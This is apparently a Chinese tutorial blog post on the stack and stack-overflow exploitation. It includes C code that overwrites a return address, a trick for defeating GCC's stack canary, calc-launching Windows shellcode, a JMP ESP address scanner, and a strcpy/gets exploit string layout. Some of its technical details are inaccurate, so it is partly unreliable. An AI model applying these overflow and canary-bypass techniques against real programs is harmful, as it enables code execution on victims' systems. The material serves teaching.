《目录》
栈,是一种数据结构(后进先出)。
程序的运行都需要用到栈,图中的 FP 是栈帧,通过栈帧的指引可以实现函数的多级调用。
- 栈帧在 ARM 处理器中分别是:SP、FP寄存器;
- 在 x86 处理器中分别是 esp(栈顶指针) 、ebp(栈底指针);
栈的初始大小及修改
我们知道,栈的空间是有限的。
- 在 VC/VS 下,默认是 1M;
- 在 C-Free 下,默认是 2M;
- 在 Linux GCC 下,默认是 8M;
如果程序使用的栈内存超出最大值,就会发生栈溢出(Stack Overflow)错误 或者是 段(Segmentation fault)错误。
栈的大小是多少,我们是可以设置的。
实验环境:手机编译器 C4droid (Linux GCC编译器 和 在Linux上运行GCC差不多)、C 语言。
- 查看栈大小:-ulimit -s
默认大小是 8.192 M 左右,文章末尾有换算公式。
算成 8.2 M 为例,可以开 205,0000 个 int 型数组,换算过程见文末。
正常运行:
#include<stdio.h>
int main( )
{
int arr[2050000] = {0};
// 如果不赋值就是声明变量不会占内存,如 int arr[2050000]。
}
开到 2100000 时,程序发生错误。
#include<stdio.h>
int main( )
{
int arr[2100000] = {0};
}
- 修改栈大小:ulimit -s 102400
102400 = 1024 * 100,就是开 100 M,第一次就看一下成不成,不成再加......
栈溢出攻击原理
栈溢出攻击:栈上的某个数据过大,覆盖了其他的数据。
在程序中,下一个调用哪个函数取决于当前函数的栈帧。
如果我们修改了栈帧,就可以把我们的构造的恶意代码放到当前函数的栈帧。
因为 C 语言对边界检查很宽松,因此修改栈帧很容易!!!
构造恶意代码,如常见死循环:
// 病毒代码
void shellcode( void )
{
while( 1 )
puts("virus run success !");
}
用户编写的程序:
#include<stdio.h>
void target( void )
{
int a[ 4 ];
// 核心代码
a[ 6 ] = shellcode;
// 也可能是 a[5]、a[7]、a[8] ... , 一般和数组长度(4)差 3 个字节左右
// shellcode 是我们构造的函数名,函数名就是地址
// 把文件编译为可执行文件(a.out)后,输入:readelf -s a.out | grep shellcode
puts("target");
}
int main(void)
{
target( );
puts("main\n");
return 0;
}
运行起来,效果是这样:
死循环,这样就执行了恶意代码。
但其实我用的编译器是 TCC,TCC 是 C语言标准的完全体现。
C 语言是怎么设置,TCC 就怎么实现;而 GCC 对于 C 语言很多危险的地方都有防护措施,如数组越界的防御机制。
GCC 的防御机制,是在数组末添加一个随机数。
靠这个随机数判断数组是否越界,如 int a[4]。
数组是从 0 开始,值被存储在 a[0]、a[1]、a[2]、a[3] 中,a[4] 这个位置被设置为随机数。
a[4] 这个数组被定义的时候,会是这样子:
a[0] | a[1] | a[2] | a[3] | 随机数 |
程序运行时,GCC 会看随机数是否改变来判断数组是否越界。
破解方法,也很简单。
提前申请一个变量用来保存 a[4] 这个随机数,运行恶意代码后,再把 a[4] 赋值回来。
// 绕过 GCC 随机数防御机制
void TarGet( void )
{
int a[ 4 ];
int rand = a[4]; // 定义一个变量保存随机值
a[ 6 ] = shellcode;
printf("TarGet\n");
a[4] = rand; // 再赋值回去,不要怕,正大光明的过去。
}
运行一下,恶意代码就执行啦,好不好玩。
或者 关掉 GCC 的栈保护机制:
- gcc -fno-stack-protector 文件名,-fno-stack-protector 就是关掉栈保护机制。
以上,是栈溢出原理分析,通过数组溢出导致覆盖了函数返回地址。
ShellCode
实际上,我们不可能通过修改程序达到修改栈帧,不过,原理都是获取栈帧的地址后改写!
栈溢出:通过对局部变量区的溢出,来覆盖返回地址,把返回地址改成 shellcode 的地址。
于是,当函数退出时,变成了执行 shellcode。
比如,打开计算器。
// system("calc.exe") 打开计算器
char shellcode[] =
"\x88\xE5" // mov esp, ebp
"\x55" // push ebp
"\x88\xEC" // mov ebp, esp
"\x33\xFF" // xor edi, edi
"\x57" // push edi
"\x83\xEC\x08" // sub esp, 08h
"\xC6\x45\xF4\x6D" // move byte ptr [ebp-0ch], 'm'
"\xC6\x45\xF5\x73" // 's'
"\xC6\x45\xF6\x76" // 'v'
"\xC6\x45\xF7\x63" // 'c'
"\xC6\x45\xF8\x72" // 'r'
"\xC6\x45\xF9\x74" // 't'
"\xC6\x45\xFA\x2E" // '.'
"\xC6\x45\xFB\x64" // 'd'
"\xC6\x45\xFC\x6C" // 'l'
"\xC6\x45\xFD\x6C" // 'l'
"\x8D\x45\xF4" // lea eax, [ebp-0ch]
"\x50" // push eax
"\xB8\x7B\x1D\x80\x7C" // mov eax, 7C801D7Bh
"\xFF\xD0" // call eax
"\x33\xDB" // xor ebx, ebx
"\x53" // push ebx
"\x68\x2E\x65\x78\x65" // push 'exe.'
"\x68\x63\x61\x6C\x63" // push 'clac'
"\x88\xC4" // mov eax, esp
"\x50" // push eax
"\xB8\xC7\x93\xBF\x77" // mov eax, 77BF93C7h
"\xFF\xD0" // call eax
"\xB8\xFA\xCA\x81\x7C" // mov eax, 7c81cafah
"\xFF\xD0"; // call eax
我们调用函数system,不是根据名字调用,而是地址,地址在 xx.dll 库中。
我们可以用 C 语言写出功能(弹计算器),反编译看汇编代码,提取机器码,组装成shellcode。
测试代码:
#include <stdio.h>
#include <windows.h>
int main(void)
{
char shellcode[] = "...";
((void(*)(void))&shellcode)();
}
能不能运行成功,主要是函数地址对不对(不同系统地址不同)。
动态搜索指令地址
如何找到一条汇编指令在内存中的地址呢?如 JMP ESP。
首先,我们得百度一下这条指令的机器码,如 JMP ESP 的机器码是 e4ff。
其次,我们选择一个常驻内存的 dll(系统一启动,就存在内存中),如 user32.dll。
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main( ){
BYTE *ptr = NULL;
int address;
BOOL done = false;
HINSTANCE handle = LoadLibrary(DLL_NAME);
if( !handle ) { puts("没有这个 dll"); return -1; }
ptr = (BYTE* )handle;
for( int i = 0; !done; i ++) { // 暴力搜索当前空间
try {
if( ptr[i] == 0xFF && ptr[i+1] == 0xE4 ) { // jmp exp 地址是 0xffe4
address = (int)ptr + i;
printf("找到这个 dll:0x%x\n", address);
}
} catch(...) {
address = (int)ptr + i;
printf("找到这个 dll:0x%x\n", address);
done = true;
}
}
return 0;
}
栈溢出攻击实例
栈溢出一般是结合 C 的某些库函数攻击程序,如 strcpy()、gets() 等。
- strcpy() 是拷贝函数,结束标志是 '\0';
- gets() 是输入函数,结束标志是 回车符;
精心构造输入数据,覆盖 '\0' 修改栈帧;GCC 编译器绕过防御机制同上。
实验环境:kali (linux GCC)、C语言。
- vi stack_overflow.c
- gcc stack_overflow.c
因为使用 gets() 会警告一下。
- ./a.out
输入密码,我们知道密码是 1234,除非我们能修改栈帧否则输入的密码都是错误的。
看这个程序就知道, gets( ) 出现的地方是可以进行栈溢出攻击来修改栈帧的。
破解还需要一些汇编语言的基础,gets( ) 与 strcpy( ) 类似。
······
构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)
void print(char *buf) {
char msg[256];
strcpy(msg, buf);
cout<<msg;
}
按照栈空间所示,我们需要精心构造字符串(32位系统需要 259 个字符、64位系统需要263 个字符),让msg恰好把 ret 返回地址 覆盖成指令 JMP ESP(并不覆盖成 shellcode,因为 shellcode 地址是不能确定的,每次运行地址都会改变,所以改成一个能动态搜索 shellcode 地址的指令)。
JMP ESP 就会从 ret 返回地址 下面的地址开始执行(buf)。
所以,shellcode 也存放在 ret 返回地址 的下面。
构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)
构造攻击字符串:259个a + JMP ESP(动态搜索shellcode地址) + shellcode(启动,弹出计算器)
比如,打开QQ,别人发消息过来,莫名其妙的打开了计算器,这个就是底层原理。
如果我们看到一个函数,存在栈溢出,那我们就画出内存分布图,计算一下构造多少字符串可以覆盖返回地址。
补充资料:
《栈溢出的利用》
溢出漏洞的根本原因,当前计算机体系(存储过程)未对数据和代码明确区分。
我们一定要对函数进行边界判断(严进),像 C 库里面的函数如 scanf、get、strcpy 是没有进行边界判断的,什么输入数据就可以接受,这很不安全。
Metasploit自动化
栈溢出漏洞案例:冲击波蠕虫
- 漏洞:冲击波蠕虫(疾风病毒)
- 编号:MS03-26
是一个接口引发的:
hr = CoGetInstanceFromFile( pServerInfo, NULL, 0, CLSCTX_REMOTE_SERVER, STGM_READWR,
L"C://1234561111111111111111111111111.doc", // 丢五个参数
1, &qi)
// 问题就出在第五个参数,引起了溢出,当这个文件名过长时,会导致客户端当本地溢出(里面的 GetPathForServer() 只给了 20 个字节的空间,但是用的是 Istrcpyw() 拷贝)
换算公式
判断栈的增长方向
#include <stdio.h>
#define ADDRESS_FUNCTION(arg) &(arg)
static int stack_dir; // 判断栈的状态,或下、或上。
void find_stack_direction( void )
{
static char *addr = NULL;
char dummy;
if (addr == NULL)
{
addr = ADDRESS_FUNCTION(dummy);
find_stack_direction( );
}else{
if (ADDRESS_FUNCTION (dummy) > addr)
stack_dir = 1;
else
stack_dir = 0;
}
}
int main( )
{
find_stack_direction( );
printf("栈的增长方向 : %s\n", stack_dir ? "Stack grew upward" : "Stack grew downward");
return 0;
}
也可以开一个数组,通过对比整个数组的地址,若是 a[ i ] > a[ i + 1 ] 栈的增长方向是向下,反之向上。
ShellCode 存放的三种方式
第一种:每次执行程序,shellcode地址都会变,需要动态搜索
第二种:会破坏上层栈的数据
第三种:不会破坏栈第数据